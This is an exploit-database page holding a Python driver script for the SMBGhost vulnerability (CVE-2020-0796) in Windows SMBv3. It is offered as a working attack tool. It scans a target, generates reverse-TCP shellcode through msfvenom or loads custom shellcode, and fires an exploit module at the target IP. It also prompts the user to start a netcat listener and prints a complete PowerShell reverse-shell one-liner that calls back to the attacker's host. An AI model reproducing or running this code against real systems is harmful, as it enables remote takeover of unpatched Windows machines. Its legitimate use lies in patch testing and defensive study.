Exploit database

GH-75f0ae02eb0ae2e3a8f2ace5be0d75a9

barriuso/smbghost_automateexploitation

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-0796

81 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
barriuso/smbghost_automateexploitationRevision 13d9d49f3f6a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Smb_Ghost.py

Python · 14,705 bytes
#!/usr/bin/env python3

import binascii
import argparse
import subprocess
import base64
import readline

from Scanner.scanner import scanner_smb_ghost
from Scanner.logless_scanner import scanner_smb_ghost_silent
from RCE import exploit


# Exploit Title: SMB Ghost detection and exploitation
# Date: 05/06/2020
# Author: @_Barriuso
# Tested on: Microsoft Windows [Versión 10.0.18362.113]. Build 1903
# CVE : CVE-2020-0796
# Twitter: https://twitter.com/_Barriuso


class Color:
    PURPLE = '\033[95m'
    CYAN = '\033[96m'
    DARKCYAN = '\033[36m'
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    END = '\033[0m'


banner = base64.b64decode(
    "Y2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2M6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo7Ozs7Ozs7Ozs7Ozs7Ozs7LCwsLCwsLCwsLCwsLCwsLCwsLCcnJycnJycnJycnJycnJycnJwpjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2M6Y29keGtPMDAwT2treG9sOjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OywsLCwsLCwsLCwsLCwsLCwsLCwnJycnJycnJycnJycnJycnCmNjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjbHgwTldNTU1NTU1NTU1XV05LT2RjOzs7Ozs6Ozs7Ozs7Ozs7Ozs7OzssLCwsLCwsLCwsLCwsLCwsLCcnJycnJycnJycnJycnJycKbGxsbGNjY2NjY2NjY2NjY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CwsJycnJycnCmxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsY2NjY2NjY2NjY2NjY2NjY2NjYzo6Ojo6Ojo6Ojo6Ojo6Ojo6Ozs7Ozs7Ozs7Ozs7Ozs7LCwsLCwsLCwsLCwsLCwsLCwsJycnJycKbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGNjY2NjY2NjY2NjY2NjY2NjY2NjOjo6Ojo6Ojo6Ojo6Ojo6Ojo7Ozs7Ozs7Ozs7Ozs7OzssLCwsLCwsLCwsLCwsLCwsLCwnJycnJwo=").decode()

print(Color.RED + Color.BOLD + "\n\n" + banner + Color.END)


def get_args():
    parser = argparse.ArgumentParser(description='SMBGhost Detection and Exploitation')
    parser.add_argument('-i', '--ip', dest='ip', type=str, required=True, help='IP address')
    parser.add_argument('-p', '--port', dest='port', type=int, default="445", help='SMB Port')
    parser.add_argument('--check', dest='check_vuln', action="store_true", default=False,
                        help='Check SMBGhost Vulnerability')
    parser.add_argument('-e', dest='exploit', action="store_true", default=False, help='Directly exploit SMBGhost')
    parser.add_argument('--lhost', dest='lhost', type=str, help='Lhost for the reverse shell')
    parser.add_argument('--lport', dest='lport', type=str, help='Lport for the reverse shell')
    parser.add_argument('--arch', dest='arch', type=str, default="x64",
                        help='Architecture of the target Windows Machine')
    parser.add_argument('--silent', dest='silent', action="store_true", default=False,
                        help='Silent mode for the scanner')  # I should remove this in the future
    parser.add_argument('--shellcode', dest='shellcode_menu', action="store_true", default=False,
                        help='Shellcode Menu to import your shell')
    parser.add_argument('--load-shellcode', dest='load_shellcode',
                        help='Load shellcode directly from file')
    return parser.parse_args()


def load_shellcode(filePath):
    try:
        with open(filePath, 'r') as shellcode_file:
            file_shellcode = shellcode_file.read()
            file_shellcode = file_shellcode.strip()
            #print ("SHELL CODE",file_shellcode)
    except:
        print((" [!] WARNING: path not found"))
        return None

    if len(file_shellcode) == 0:
        print(" [!] WARNING: no custom shellcode restrieved", )
        return None

    # check if the shellcode was passed in as string-escaped form (Took it from VEIL Source Code)
    if file_shellcode[0:2] == "\\x" and file_shellcode[4:6] == "\\x":
        file_shellcode = file_shellcode.replace("\\x", "")
        #print("SHELL 2 Ripped X", file_shellcode)
        return bytes.fromhex(file_shellcode)

    else:
        # otherwise encode the raw data as a hex string
        hexString = binascii.hexlify(file_shellcode)
        file_shellcode = "\\x" + "\\x".join([hexString[i:i + 2] for i in range(0, len(hexString), 2)])
        file_shellcode = file_shellcode.replace("\\x", "")
        #print("SHELL 3 Ripped X", file_shellcode)
        return bytes.fromhex(file_shellcode)


def menu_shellcode():

    print("Please choose one option: \n")
    print('1: Custom shellcode string')
    print('2: File with shellcode (\\x41\\x42..)')
    print('3: Binary file with shellcode\n')

    try:
        choose = int(input())
    except:
        print (Color.RED+"Please choose a valid number")
    if (choose == 2 or choose == 3):
        readline.set_completer_delims(' \t\n=')
        readline.parse_and_bind("tab: complete")
        filePath = input("Tab complete a file: ")
        return load_shellcode(filePath)
    if (choose == 1):
        file_shellcode = input("Please enter custom shellcode (one line, no quotes, \\x00.. format): ")
        file_shellcode = file_shellcode.replace("\\x", "")
        #print("SHELL Ripped X", file_shellcode)
        return bytes.fromhex(file_shellcode)
    if (choose != 1 or choose != 2 or choose != 3):
        print (Color.RED+"You chose an incorrect option")



def generate_shellcode(lhost, lport, arch):
    print(Color.BLUE + "Generating Shellcode %s with lhost %s and lport %s" % (arch, lhost, lport))

    if (arch == "x64"):
        msf_payload = "windows/x64/shell_reverse_tcp"
    else:
        msf_payload = "windows/shell_reverse_tcp"
    # generate the msfvenom command
    msf_command = 'msfvenom -p ' + msf_payload + ' '
    msf_command += "LHOST=" + lhost + " LPORT=" + str(lport)
    # add final part to command to narrow down the msf output
    msf_command += " -f hex"

    # Run the command and get output
    print("MSF command ->", msf_command)

    return bytes.fromhex((subprocess.check_output(msf_command, shell=True).decode('ascii')))

if __name__ == '__main__':
    args = get_args()
    lhost = args.lhost
    lport = args.lport
    print(Color.BLUE + "The target is %s:%s" % (args.ip, args.port))

    if (args.check_vuln):
        if (args.silent):
            if (scanner_smb_ghost_silent(args.ip, args.port)):
                print(Color.RED+"The host is probably vulnerable")
        else:
            if (scanner_smb_ghost(args.ip, args.port)):
                print(Color.RED+"The host is probably vulnerable")

    if (args.exploit):
        if (args.load_shellcode == None and args.shellcode_menu == False):
            if (lhost == None or lport == None):
                print(
                    Color.RED + "It seems you have forgotten to put LHOST, LPORT, ARCH options. \n Do you want to set it?")
                lhost = str(input("Enter the Lhost : "))
                lport = int(input("Enter the Lport : "))
                args.arch = str(input("Enter the target architecture (Default: x64) : ") or "x64")

            shell = generate_shellcode(lhost, lport, args.arch)

            if (shell != None):
                input(
                    Color.RED + "Please open your netcat session in a new tab before launch exploit. Press any key to continue \n nc -lvp %s" % lport)
                result = exploit.exploit_SMBGhost(args.ip, args.port, shell)
                result=0
                if (result == 0):
                    works = str(input ("Did the exploit works? [Y/N] (Default: Y): ") or "Y")
                    if (works == "Y"):
                        print(Color.BLUE + "Exploit finnished. Enjoy your reverse shell =) ")
                        print(
                            "\n TIP: You should migrate to a new session, because SMB will kill your current session in ~ 10 minutes ~. \n FOR EXAMPLE: \n ")
                        print(
                            Color.BLUE + "START /B powershell.exe -c \"$c = New-Object System.Net.Sockets.TCPClient('" + lhost + "'," + "'443'" + ");$str = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $str.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sendback = (iex $d 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sb = ([text.encoding]::ASCII).GetBytes($sendback2);$str.Write($sb,0,$sb.Length);$str.Flush()};$c.Close()\" \n")
                        print ("More examples on -> https://github.com/Hackplayers/ReverseShell")
                    else:
                        again = str(input("Do you want to launch it again? [Y/N] (Default: N) ") or "N")
                        if (again == "Y"):
                            print ("Launching attack second time")
                            exploit.exploit_SMBGhost(args.ip, args.port, shell)
                else:
                    print(Color.RED + "It seems there is a problem generating the shell")

        elif (args.load_shellcode != None and args.shellcode_menu == False):
            shell = load_shellcode(args.load_shellcode)
            if (shell != None):
                print(Color.BLUE + "Exploiting wiht custom shellcode")
            result = exploit.exploit_SMBGhost(args.ip, args.port, shell)
            if (result == 0):
                print(Color.BLUE + "Exploit finnished. Enjoy your reverse shell =)", result)
            else:
                print(Color.RED + "Problem accessing your shellcode")

        elif (args.shellcode_menu == True):
            shell = menu_shellcode()
            if (shell != None):
                print(Color.BLUE + "Exploiting wiht custom shellcode")
            result = exploit.exploit_SMBGhost(args.ip, args.port, shell)
            if (result == 0):
                print(Color.BLUE + "Exploit finnished. Enjoy your reverse shell =)", result)
        else:
            print("You put invalid options. Shellcode menu is different than load_shellcode")